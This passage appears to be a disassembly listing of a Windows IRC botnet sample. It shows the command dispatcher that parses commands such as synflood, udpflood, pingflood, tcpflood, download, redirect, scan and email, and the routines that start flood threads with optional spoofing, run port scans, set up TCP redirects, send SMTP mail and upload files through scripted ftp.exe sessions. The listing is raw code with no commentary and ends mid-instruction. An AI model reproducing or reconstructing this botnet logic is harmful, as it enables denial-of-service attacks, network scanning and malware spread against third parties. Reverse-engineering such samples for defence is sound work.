test eax, eax pop ecx jz loc_406361 push dword ptr [ebp+18h] push offset aSynflood ; "synflood" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406263 push dword ptr [ebp+18h] push offset aSy1 ; "sy1" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406263 push dword ptr [ebp+18h] push offset aDownload909 ; "download909" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406125 push dword ptr [ebp+18h] push offset aDl909 ; "dl909" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406125 push dword ptr [ebp+18h] push offset aRedirect_0 ; "redirect" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40602B push dword ptr [ebp+18h] push offset aRd ; "rd" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40602B push dword ptr [ebp+18h] push offset aScan ; "scan" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_405F38 push dword ptr [ebp+18h] push offset aSc ; "sc" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_405F38 push dword ptr [ebp+18h] push offset aC_privmsg ; "c_privmsg" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_405E63 push dword ptr [ebp+18h] push offset aC_pm ; "c_pm" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_405E63 push dword ptr [ebp+18h] push offset aC_action ; "c_action" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_405D4E push dword ptr [ebp+18h] push offset aC_a ; "c_a" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_405D4E mov eax, [ebp+esi-84h] cmp eax, ebx mov [ebp+10h], eax jz loc_403498 push dword ptr [ebp+18h] push offset aAdvscan ; "advscan" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4059EF push dword ptr [ebp+18h] push offset aVv ; "vv" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4059EF push dword ptr [ebp+18h] push offset aUdpflood ; "udpflood" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4058CF push dword ptr [ebp+18h] push offset aPu ; "pu" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4058CF push dword ptr [ebp+18h] push offset aU ; "u" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4058CF push dword ptr [ebp+18h] push offset aPingflood ; "pingflood" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40579C push dword ptr [ebp+18h] push offset aPing_1 ; "ping" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40579C push dword ptr [ebp+18h] push offset aP ; "p" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40579C push dword ptr [ebp+18h] push offset aTcpflood ; "tcpflood" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_405609 push dword ptr [ebp+18h] push offset aUsa ; "usa" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_405609 push dword ptr [ebp+18h] push offset aEmail ; "email" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_40540A lea eax, [ebp-3E4h] push edi push eax call sub_41E550 push dword ptr [ebp+20h] call sub_41D560 push dword ptr [ebp+8] mov [ebp+20h], eax lea eax, [ebp-0D9Ch] push eax call sub_41E550 push dword ptr [ebp+10h] lea eax, [ebp-0B94h] push eax call sub_41E550 push offset asc_43F9A8 ; " " push offset a_ ; "_" push dword ptr [ebp+esi-80h] call sub_4176D7 push eax lea eax, [ebp-548h] push eax call sub_41E550 add esp, 30h lea eax, [ebp-6F4h] push eax push 101h call ds:dword_451464 lea eax, [ebp-3E4h] push eax call ds:dword_451574 push 6 push 1 push 2 mov edi, eax call ds:dword_451570 push dword ptr [ebp+20h] mov esi, eax mov word ptr [ebp-2D8h], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-2D4h], eax call ds:dword_4514F4 mov [ebp-2D6h], ax lea eax, [ebp-548h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-548h] push eax lea eax, [ebp-0B94h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-159Ch] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41D260 add esp, 1Ch lea eax, [ebp-2D8h] push 10h push eax push esi call ds:dword_45149C mov edi, 100h push ebx lea eax, [ebp-0C98h] push edi push eax push esi call ds:dword_45150C lea eax, [ebp-0C98h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-159Ch] push eax push esi call ds:dword_451540 push ebx lea eax, [ebp-0C98h] push edi push eax push esi call ds:dword_45150C push esi call ds:dword_451588 call ds:dword_45144C lea eax, [ebp-0B94h] push eax push offset aEmailMessageSe ; "[EMAIL]: Message sent to %s." loc_4053D1: ; CODE XREF: seg000:0040654Cj ; seg000:0040675Ej ... lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 0Ch loc_4053E0: ; CODE XREF: seg000:00406530j ; seg000:00406710j ... cmp [ebp-8], ebx jnz loc_4080D2 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h jmp loc_4080D2 ; --------------------------------------------------------------------------- loc_40540A: ; CODE XREF: seg000:0040527Bj push dword ptr [ebp+18h] push offset aHttpcon ; "httpcon" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4055DB push dword ptr [ebp+18h] push offset aHcon ; "hcon" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4055DB mov esi, [ebp+esi-80h] cmp esi, ebx jz loc_403498 push dword ptr [ebp+18h] push offset aUpload ; "upload" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_40845F push 4 push esi call sub_416995 pop ecx test eax, eax pop ecx jnz short loc_4054B0 push esi push offset aFtpFileNotFoun ; "[FTP]: File not found: %s." loc_40546F: ; CODE XREF: seg000:0040578Dj ; seg000:00405D49j ... lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 0Ch loc_40547E: ; CODE XREF: seg000:00405771j ; seg000:00405D2Dj ... cmp [ebp-8], ebx jnz short loc_40549F push ebx push dword ptr [ebp-4] loc_405487: ; CODE XREF: seg000:0040635Cj lea eax, [ebp-2C8h] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] loc_405497: ; CODE XREF: seg000:00407B2Fj call sub_40145D add esp, 14h loc_40549F: ; CODE XREF: seg000:00405481j ; seg000:004058C0j ... lea eax, [ebp-2C8h] push eax call sub_4161A7 jmp loc_4085EC ; --------------------------------------------------------------------------- loc_4054B0: ; CODE XREF: seg000:00405467j call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 pop ecx call sub_41DBA0 push 9 cdq pop ecx idiv ecx push edx call sub_41DBA0 push 63h cdq pop ecx idiv ecx push edx call sub_41DBA0 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp-0C9Ch] push edx push eax lea eax, [ebp-0B98h] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41D260 lea eax, [ebp-0B98h] push offset aAb ; "ab" push eax call sub_41D0E0 add esp, 20h cmp eax, ebx mov [ebp+2Ch], eax jz loc_403498 push esi push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41E440 push dword ptr [ebp+2Ch] call sub_41ACF0 lea eax, [ebp-0B98h] push eax lea eax, [ebp-3E4h] push offset aSS_0 ; "-s:%s" push eax call sub_41D260 add esp, 2Ch lea eax, [ebp-3E4h] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_0 ; "open" push ebx call ds:dword_451460 test eax, eax push edi push esi jz short loc_40557A push offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to: %s" jmp short loc_40557F ; --------------------------------------------------------------------------- loc_40557A: ; CODE XREF: seg000:00405571j push offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to: %s failed"... loc_40557F: ; CODE XREF: seg000:00405578j call sub_41D260 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_4055A8 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_4055A8: ; CODE XREF: seg000:0040558Aj lea eax, [ebp-2C8h] push eax call sub_4161A7 loc_4055B4: ; CODE XREF: seg000:004055D9j lea eax, [ebp-0B98h] push 4 push eax call sub_416995 add esp, 0Ch test eax, eax jz loc_403498 lea eax, [ebp-0B98h] push eax call sub_41E3D0 jmp short loc_4055B4 ; --------------------------------------------------------------------------- loc_4055DB: ; CODE XREF: seg000:0040541Bj ; seg000:00405432j push dword ptr [ebp+esi-80h] push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] call sub_41D560 pop ecx push eax push edi push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_411418 jmp loc_40845C ; --------------------------------------------------------------------------- loc_405609: ; CODE XREF: seg000:0040524Dj ; seg000:00405264j mov esi, 80h push edi lea eax, [ebp-680h] push esi push eax call sub_41D360 lea eax, [ebp-680h] push eax push offset aSyn ; "syn" call sub_41D900 add esp, 14h test eax, eax jz short loc_40566C lea eax, [ebp-680h] push eax push offset aAck ; "ack" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_40566C lea eax, [ebp-680h] push eax push offset aRandom ; "random" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_40566C push offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified." jmp loc_407C35 ; --------------------------------------------------------------------------- loc_40566C: ; CODE XREF: seg000:00405632j ; seg000:00405649j ... push dword ptr [ebp+10h] call sub_41D560 cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_405792 push edi lea eax, [ebp-680h] push esi push eax call sub_41D360 push dword ptr [ebp+20h] lea eax, [ebp-700h] push esi push eax call sub_41D360 push dword ptr [ebp+8] call sub_41D560 mov [ebp-57Ch], eax xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-8Ch] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_41D360 mov eax, [ebp-4] add esp, 28h cmp [ebp-574h], ebx mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_405703 mov eax, offset aNormal ; "Normal" loc_405703: ; CODE XREF: seg000:004056FCj push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push eax push offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s s"... lea eax, [ebp-2C8h] push 200h push eax call sub_41D360 push ebx lea eax, [ebp-2C8h] push 14h push eax call sub_408D3F add esp, 2Ch mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset byte_414E1B push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_405781 loc_40576B: ; CODE XREF: seg000:0040577Fj cmp [ebp-568h], ebx jnz loc_40547E push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_40576B ; --------------------------------------------------------------------------- loc_405781: ; CODE XREF: seg000:00405769j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aTcpFailedToSta ; "[TCP]: Failed to start flood thread, er"... jmp loc_40546F ; --------------------------------------------------------------------------- loc_405792: ; CODE XREF: seg000:0040567Dj push offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"... jmp loc_407C35 ; --------------------------------------------------------------------------- loc_40579C: ; CODE XREF: seg000:00405208j ; seg000:0040521Fj ... cmp ds:dword_4515E0, ebx mov esi, [ebp+0Ch] jnz loc_4058A4 mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_41D800 push dword ptr [ebp+20h] call sub_41D560 push dword ptr [ebp+8] mov [ebp-304h], eax call sub_41D560 push dword ptr [ebp+10h] mov [ebp-300h], eax call sub_41D560 push 7Fh mov [ebp-2FCh], eax push dword ptr [ebp-8Ch] lea eax, [ebp-404h] push eax call sub_41D800 push dword ptr [ebp-2FCh] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-304h] push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 16h push eax call sub_408D3F add esp, 48h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset word_414272 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_405893 loc_405881: ; CODE XREF: seg000:00405891j cmp [ebp-2E8h], ebx jnz short loc_4058BD push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_405881 ; --------------------------------------------------------------------------- loc_405893: ; CODE XREF: seg000:0040587Fj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"... jmp loc_406455 ; --------------------------------------------------------------------------- loc_4058A4: ; CODE XREF: seg000:004057A5j push 1FFh lea eax, [ebp-2C8h] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41D800 loc_4058BA: ; CODE XREF: seg000:00406461j add esp, 0Ch loc_4058BD: ; CODE XREF: seg000:00405887j ; seg000:004059CEj ... cmp [ebp-8], ebx jnz loc_40549F push ebx push dword ptr [ebp-4] jmp loc_407B21 ; --------------------------------------------------------------------------- loc_4058CF: ; CODE XREF: seg000:004051C3j ; seg000:004051DAj ... mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_41D800 push dword ptr [ebp+20h] call sub_41D560 push dword ptr [ebp+8] mov [ebp-304h], eax call sub_41D560 push dword ptr [ebp+10h] mov [ebp-300h], eax call sub_41D560 mov esi, [ebp+esi-80h] add esp, 18h cmp esi, ebx mov [ebp-2FCh], eax jz short loc_405934 push esi call sub_41D560 pop ecx mov [ebp-2F8h], eax jmp short loc_40593A ; --------------------------------------------------------------------------- loc_405934: ; CODE XREF: seg000:00405923j mov [ebp-2F8h], ebx loc_40593A: ; CODE XREF: seg000:00405932j push 7Fh lea eax, [ebp-404h] push dword ptr [ebp-8Ch] push eax call sub_41D800 push dword ptr [ebp-2FCh] mov esi, [ebp+0Ch] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-304h] push offset aUdpSendingDPac ; "[UDP]: Sending %d packets to: %s. Packe"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 17h push eax call sub_408D3F add esp, 30h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset word_4143FE push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_4059DE loc_4059C8: ; CODE XREF: seg000:004059DCj cmp [ebp-2E8h], ebx jnz loc_4058BD push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_4059C8 ; --------------------------------------------------------------------------- loc_4059DE: ; CODE XREF: seg000:004059C6j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aUdpFailedToSta ; "[UDP]: Failed to start flood thread, er"... jmp loc_406455 ; --------------------------------------------------------------------------- loc_4059EF: ; CODE XREF: seg000:00405195j ; seg000:004051ACj push 0Bh call sub_408F87 push dword ptr [ebp+20h] mov [ebp+18h], eax call sub_41D560 add eax, [ebp+18h] pop ecx pop ecx cmp eax, 1F4h jle short loc_405A42 push dword ptr [ebp+18h] lea eax, [ebp-2C8h] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D loc_405A3A: ; CODE XREF: seg000:00406DE7j add esp, 20h jmp loc_40845F ; --------------------------------------------------------------------------- loc_405A42: ; CODE XREF: seg000:00405A0Bj push edi call sub_41D560 push dword ptr [ebp+20h] mov [ebp-31Ch], eax call sub_41D560 push dword ptr [ebp+8] mov [ebp-304h], eax call sub_41D560 add esp, 0Ch cmp eax, 5 mov [ebp-318h], eax jnb short loc_405A7B push 5 pop eax mov [ebp-318h], eax loc_405A7B: ; CODE XREF: seg000:00405A70j push 3Ch pop ecx cmp eax, ecx jbe short loc_405A88 mov [ebp-318h], ecx loc_405A88: ; CODE XREF: seg000:00405A80j push dword ptr [ebp+10h] call sub_41D560 mov [ebp-314h], eax mov eax, 320h cmp [ebp-314h], eax pop ecx jbe short loc_405AAA mov [ebp-314h], eax loc_405AAA: ; CODE XREF: seg000:00405AA2j or dword ptr [ebp-300h], 0FFFFFFFFh cmp ds:dword_4439F0, ebx mov [ebp+10h], ebx jz short loc_405B00 mov dword ptr [ebp+2Ch], offset dword_4439F0 loc_405AC3: ; CODE XREF: seg000:00405AE2j mov eax, [ebp+2Ch] push edi add eax, 0FFFFFFD8h push eax call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_405AE6 add dword ptr [ebp+2Ch], 40h inc dword ptr [ebp+10h] mov eax, [ebp+2Ch] cmp [eax], ebx jnz short loc_405AC3 jmp short loc_405B00 ; --------------------------------------------------------------------------- loc_405AE6: ; CODE XREF: seg000:00405AD4j mov eax, [ebp+10h] mov ecx, eax mov [ebp-300h], eax shl ecx, 6 mov ecx, ds:dword_4439F0[ecx] mov [ebp-31Ch], ecx loc_405B00: ; CODE XREF: seg000:00405ABAj ; seg000:00405AE4j cmp [ebp-31Ch], ebx jnz short loc_405B12 push offset aScanFailedToSt ; "[SCAN]: Failed to start scan, port is i"... jmp loc_407C35 ; --------------------------------------------------------------------------- loc_405B12: ; CODE XREF: seg000:00405B06j mov edi, [ebp+esi-80h] cmp edi, ebx mov [ebp+20h], edi jz short loc_405B4D cmp byte ptr [edi], 23h jz short loc_405B4D push edi lea eax, [ebp-430h] push 10h push eax call sub_41D360 push 78h push edi call sub_41E650 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp-2F0h], eax jmp loc_405C21 ; --------------------------------------------------------------------------- loc_405B4D: ; CODE XREF: seg000:00405B1Bj ; seg000:00405B20j cmp [ebp-9B3h], bl jnz short loc_405B6F cmp [ebp-9B2h], bl jnz short loc_405B6F cmp [ebp-9A2h], bl jnz short loc_405B6F push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan, no IP spe"... jmp loc_407C35 ; --------------------------------------------------------------------------- loc_405B6F: ; CODE XREF: seg000:00405B53j ; seg000:00405B5Bj ... push 10h lea eax, [ebp+8] pop edi push eax lea eax, [ebp-2D8h] push eax mov [ebp+8], edi push dword ptr [ebp+0Ch] call ds:dword_451498 mov al, [ebp-9B3h] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2D4h], eax push dword ptr [ebp-2D4h] call ds:dword_45157C push eax lea eax, [ebp-430h] push eax call sub_41D800 add esp, 0Ch cmp [ebp-9A2h], bl jz short loc_405C1B xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_41E3A0 pop ecx cmp edi, ebx pop ecx mov [ebp+2Fh], bl jle short loc_405C0F loc_405BED: ; CODE XREF: seg000:00405C0Dj cmp eax, ebx jz short loc_405C0F mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_41E3A0 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_405BED loc_405C0F: ; CODE XREF: seg000:00405BEBj ; seg000:00405BEFj mov dword ptr [ebp-2F0h], 1 jmp short loc_405C21 ; --------------------------------------------------------------------------- loc_405C1B: ; CODE XREF: seg000:00405BC5j mov [ebp-2F0h], ebx loc_405C21: ; CODE XREF: seg000:00405B48j ; seg000:00405C19j mov eax, [ebp+0Ch] push dword ptr [ebp-8Ch] mov [ebp-320h], eax mov eax, [ebp-4] mov [ebp-2F8h], eax mov eax, [ebp-8] mov [ebp-2F4h], eax mov edi, 80h lea eax, [ebp-420h] push edi push eax call sub_41D360 mov esi, [ebp+esi-7Ch] add esp, 0Ch cmp esi, ebx jz short loc_405C72 loc_405C5F: ; CODE XREF: seg000:00405C95j push esi loc_405C60: ; CODE XREF: seg000:00405C7Fj lea eax, [ebp-3A0h] push edi push eax call sub_41D360 add esp, 0Ch jmp short loc_405C9D ; --------------------------------------------------------------------------- loc_405C72: ; CODE XREF: seg000:00405C5Dj mov eax, [ebp+20h] cmp eax, ebx jz short loc_405C81 cmp byte ptr [eax], 23h jnz short loc_405C81 push eax jmp short loc_405C60 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: seg000:00405C77j ; seg000:00405C7Cj mov esi, offset a143 ; "#143" push offset dword_4DF358 push esi call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_405C5F mov [ebp-3A0h], bl loc_405C9D: ; CODE XREF: seg000:00405C70j cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_405CAF mov eax, offset aSequential ; "Sequential" loc_405CAF: ; CODE XREF: seg000:00405CA8j push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2C8h] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 0Bh push eax call sub_408D3F add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push offset sub_40A146 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_405D3D loc_405D27: ; CODE XREF: seg000:00405D3Bj cmp [ebp-2ECh], ebx jnz loc_40547E push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_405D27 ; --------------------------------------------------------------------------- loc_405D3D: ; CODE XREF: seg000:00405D25j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"... jmp loc_40546F ; --------------------------------------------------------------------------- loc_405D4E: ; CODE XREF: seg000:00405155j ; seg000:0040516Cj push edi call sub_41D560 imul eax, 234h pop ecx cmp ds:byte_4523D0[eax], bl jz loc_40845F cmp [ebp-0Ch], ebx jz loc_40845F push dword ptr [ebp+20h] call sub_41AC70 push edi mov esi, eax call sub_41AC70 push dword ptr [ebp+18h] add esi, eax call sub_41AC70 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_41DBE0 mov esi, eax lea eax, [ebp-2C8h] push esi push offset dword_43F60C push eax call sub_41D260 add esp, 20h cmp esi, ebx jz loc_40845F push edi call sub_41D560 test eax, eax pop ecx jle loc_40845F push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_40845F push ebx lea eax, [ebp-2C8h] push ebx push eax push dword ptr [ebp+20h] push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523C4[eax] call sub_40145D push edi call sub_41D560 imul eax, 234h add esp, 18h cmp byte ptr ds:dword_4521B8[eax], 73h jnz loc_40845F push esi push edi call sub_41D560 imul eax, 234h pop ecx add eax, offset byte_4523D0 push eax push dword ptr [ebp+20h] push offset dword_43F618 loc_405E36: ; CODE XREF: seg000:00405F33j lea eax, [ebp-2C8h] push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D loc_405E5B: ; CODE XREF: seg000:00407CFDj add esp, 28h jmp loc_40845F ; --------------------------------------------------------------------------- loc_405E63: ; CODE XREF: seg000:00405127j ; seg000:0040513Ej push edi call sub_41D560 imul eax, 234h pop ecx cmp ds:byte_4523D0[eax], bl jz loc_40845F cmp [ebp-0Ch], ebx jz loc_40845F push dword ptr [ebp+20h] call sub_41AC70 push edi mov esi, eax call sub_41AC70 push dword ptr [ebp+18h] add esi, eax call sub_41AC70 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_41DBE0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_40845F push edi call sub_41D560 test eax, eax pop ecx jle loc_40845F push edi call sub_41D560 cmp eax, 400h pop ecx jge loc_40845F push ebx push ebx push esi push dword ptr [ebp+20h] push edi call sub_41D560 imul eax, 234h pop ecx push ds:dword_4523C4[eax] call sub_40145D push edi call sub_41D560 imul eax, 234h add esp, 18h cmp byte ptr ds:dword_4521B8[eax], 73h jnz loc_40845F push esi push edi call sub_41D560 imul eax, 234h pop ecx add eax, offset byte_4523D0 push eax push dword ptr [ebp+20h] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_405E36 ; --------------------------------------------------------------------------- loc_405F38: ; CODE XREF: seg000:004050F9j ; seg000:00405110j push edi call ds:dword_451530 push dword ptr [ebp+20h] mov [ebp-460h], eax call sub_41D560 push dword ptr [ebp+8] mov [ebp-470h], eax call sub_41D560 mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-468h], eax lea eax, [ebp-4F0h] mov [ebp-4F4h], esi push eax call sub_41D800 add esp, 14h mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-458h], edi push dword ptr [ebp-468h] mov [ebp-454h], eax push dword ptr [ebp-470h] push dword ptr [ebp-460h] call ds:dword_45157C push eax lea eax, [ebp-2C8h] push offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with d"... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 0Bh push eax call sub_408D3F add esp, 20h mov [ebp-464h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F4h] push ebx push eax push offset sub_40A472 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-464h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_40601A loc_406004: ; CODE XREF: seg000:00406018j cmp [ebp-450h], ebx jnz loc_407B16 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_406004 ; --------------------------------------------------------------------------- loc_40601A: ; CODE XREF: seg000:00406002j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan thread, er"... jmp loc_407B07 ; --------------------------------------------------------------------------- loc_40602B: ; CODE XREF: seg000:004050CBj ; seg000:004050E2j push edi call sub_41D560 push 7Fh mov [ebp-300h], eax push dword ptr [ebp+20h] lea eax, [ebp-404h] push eax call sub_41D800 push dword ptr [ebp+8] call sub_41D560 push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] mov [ebp-304h], eax lea eax, [ebp-384h] push 80h push eax mov [ebp-40Ch], esi call sub_41D360 mov eax, [ebp-8] add esp, 20h mov edi, [ebp-4] mov [ebp-2F0h], eax push dword ptr [ebp-304h] lea eax, [ebp-404h] mov [ebp-2F4h], edi push eax push dword ptr [ebp-300h] push esi call sub_402617 pop ecx push eax lea eax, [ebp-2C8h] push offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "... push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 18h push eax call sub_408D3F add esp, 24h mov [ebp-2FCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-40Ch] push ebx push eax push offset sub_4116E4 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-2FCh] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_406114 loc_4060FE: ; CODE XREF: seg000:00406112j cmp [ebp-2ECh], ebx jnz loc_407B16 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_4060FE ; --------------------------------------------------------------------------- loc_406114: ; CODE XREF: seg000:004060FCj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aRedirectFailed ; "[REDIRECT]: Failed to start redirection"... jmp loc_407B07 ; --------------------------------------------------------------------------- loc_406125: ; CODE XREF: seg000:0040509Dj ; seg000:004050B4j push 0FFh lea eax, [ebp-788h] push edi push eax call sub_41D800 push 0FFh lea eax, [ebp-688h] push dword ptr [ebp+20h] push eax call sub_41D800 push dword ptr [ebp+8] mov [ebp-584h], ebx call sub_41D560 mov [ebp-580h], eax mov eax, [ebp+esi-84h] add esp, 1Ch cmp eax, ebx jz short loc_406181 push 10h push ebx push eax call sub_41E380 add esp, 0Ch mov [ebp-578h], eax jmp short loc_406187 ; --------------------------------------------------------------------------- loc_406181: ; CODE XREF: seg000:0040616Bj mov [ebp-578h], ebx loc_406187: ; CODE XREF: seg000:0040617Fj mov esi, [ebp+esi-80h] cmp esi, ebx jz short loc_40619E push esi call sub_41D560 pop ecx mov [ebp-57Ch], eax jmp short loc_4061A4 ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: seg000:0040618Dj mov [ebp-57Ch], ebx loc_4061A4: ; CODE XREF: seg000:0040619Cj movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_41D800 mov eax, [ebp-4] push dword 